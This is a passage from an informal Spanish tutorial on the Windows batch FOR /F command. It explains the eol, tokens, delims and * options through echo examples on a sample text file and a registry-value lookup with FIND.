poner posiciones sueltas: 2,3,4 o rangos: 1-4 o incluso los dos
juntos: 1,3-5. además, si ponemos el *, se añade otra variable
adicional
que contendrá el resto de la cadena que no haya llegado a ser
procesada por el FOR
USEBACKQ
Esto es para el uso de comillas, no es algo muy importante, pero
puede ser util dependiendo de como se llamen los archivos
Primero explicare como funciona el FOR /F ["opciones"] .........
Pues vamos a ver, esto lo que hace es buscar en todas las filas de un
archivo. Entonces, almacena en variables el trozo de cadena
que existe entre un delimitador y otro, y así hasta el nº de tokens.
un ejemplo cutre seria, en la línea
hola buenos días
Si el delim=" " (espacio en blanco) y tokens=1,2,3. Esto significa que
queremos coger 3 (1,2,3) trozos de cadena que esten uno tras
otro de forma contigua y delimitados por el espacio. Así obtendríamos
3 variables que almacenarían
i=hola
j=buenos
k=días
Pongamos ahora un ejemplo real por si no se ha entendido.
Creamos el archivo de texto 1.txt con el siguiente contenido
----------- 1.txt
;hola buenos dias
este es un manual, dedicado al for
21. 21
;para.la.gente.que.quiera.aprender
;y para los demas tambien
hasta luego
1 =Hola
2=adios
3=buenas
-----------------
vamos a realizar un primer FOR. abrimos la consola y ponemos
for /f "eol=; tokens=1 delims=," %i in (1.txt) do echo %i
Este for procesara todas las lineas menos las que empiecen por ; ya
que eol=;
En cada linea que procese solo dara tantas vueltas como "," se
encuentre (delims=,). y almacenara en la variable %i,
solamente la parte de la cadena que se encuentre entre el principio y
la primera (tokens=1) aparicion de ","
Para las lineas que no tengan "," se considera el primer token como la
linea completa, porlo que en esas lineas
en vez de pasar de ella, las tomara enteras en la variable. Asi, el
resultado de este for seria:
este es el manual ---> falta lo que viene a partir de la ","
porque no lo ha cogido debido al delims
hasta luego |
1 =Hola |-->En estas, como no hay "," coge toda la linea
2=adios |
3=buenas |
Otro ejemplo mas claro seria:
for /f "eol=; tokens=1,2,3 delims= " %i in (1.txt) do echo %i %j %k
lo mismo daria poner la parte tokens asi:
for /f "eol=; tokens=1-3 delims= " %i in (1.txt) do echo %i %j %k
Ahora queremos coger de cada linea, menos de las que empiecen por ;
(eol=;) las cadenas que se encuentren entre
token1 --> el principio y el primer " " (delims=" ")
token2 --> el primer " " y el segundo " "
token3 --> el segundo " " y el tercer " "
y el resto lo desechariamos.
Darse cuenta de que en este caso necesitamos coger 3 cosas por cada
linea, por lo que no nos vale solo con la variable
%i, si no que necesitaremos tambien las %j y %k. Para esto, j y k no
se declaran en el for (como la %i, de hecho
unicamente se dclara la primera que se vaya a usar, puede ser %i, %a,
%1 o lo que sea), si no que se ponen en el la
parte del comando a la hora de trabajar con ellas.
Tener en cuenta tambien que si declaramos la variable %i en el for
todas las que usemos deben ir consecutivas en
orden alfabetico y nunca superar los 26 simbolos. seria %i %j %k %l
%m....
si seleccionamos %a en el for, seria %a %b %c %d.
y siempre diferenciando entre MAY y min.
Entonces en este ejemplo nos saldria lo siguiente:
este es un
hasta luego
22. 22
1 =Hola
2=adios
3=buenas
si queremos, para verlo mas claro, podemos meter algun caracter raro
entre %i, %j y %k
for /f "eol=; tokens=1-3 delims= " %i in (1.txt) do echo %i ? %j ? %k
Obteniendo el siguiente resultado
este ? es ? un
hasta ? luego ?
1 ? =Hola ?
2=adios ? ?
3=buenas ? ?
Vemos como en las lineas 3 y 4 aparecen las ? al final y sin nada
entre medias, esto se debe a que la variable %i
contiene 2=adios (todo hasta el final) y las variables %j y %k estan
vacias
Un ultimo ejemplo para ver el uso del * seria. para ello le quitamos
el ; al principio de todas las lineas que lo tuvieran:
for /f "tokens=1,2* delims= " %i in (1.txt) do echo %i ? %j ? %k
Ahora pone en las variables %i y %j:
token1 (variable %i)--> entre el principio y el primer " " (delims="
")
token2 (variable %j)--> entre el primer " " y el segundo " "
y en la variable %k, que viene definida por el token *, se pondra el
resto de la cadena
asi el resultado seria:
hola ? buenos ? dias
este ? es ? un manual, dedicado al for
para.la.gente.que.quiera.aprender ? ?
y ? para ? los demas tambien
hasta ? luego ?
1= ? hola ?
2=adios ? ?
3=buenas ? ?
--------------------------
por ultimo os pongo un ejemplo muy util cuando por ejemplo queremos
buscar en un archivo de registro, un valor determinado.
imaginaros que quiero buscar en el archivo 1.reg, el valor de la clave
SwapMouseButtons. sabiendo que en el archivo
1.reg, existe una linea que pone
SwapMouseButtons=1.
pero ademas hay muchas otras lineas similares como:
mouse=9
but=6
....
23. 23
asi que si usamos el for normal sobre el archivo directamente no hay
forma de sacar solo el valor que queremos
por lo que podemos hacer un find sobre el archivo que nos devuelva
unicamente la linea que contiene la palabra
SwapMouseButtons, y hacer el for sobre ella. con esto quiero decir,
que ademas de sobre archivos, podemos aplicar el for
sobre comandos que actuen sobre archivos y nos den lo que queremos de
ellos de una forma mas especifica.
este ejemplo seria asi:
FOR /F "tokens=1* delims==" %A IN ('FIND /I "SwapMouseButtons"
c:1.reg') do echo %B
el resultado seria que muestra por pantalla:
1
si hubiésemos puesto ..... do echo %A
mostraría por pantalla
SwapMouseButtons
Pues después e este coñazo espero que os halla valido de algo porque
si no me cago en la puta
que vayamos a tratar y demás. Esto mirarlo si interesa en la ayuda
LA ayuda del comando for esta realizada por I_berbeu.
Espero que les haya gustado el manual, si tienen dudas o alguna pregunta la
pueden dejar en: www.infiernohacker.com
Recomendaciones: www.animefenix.com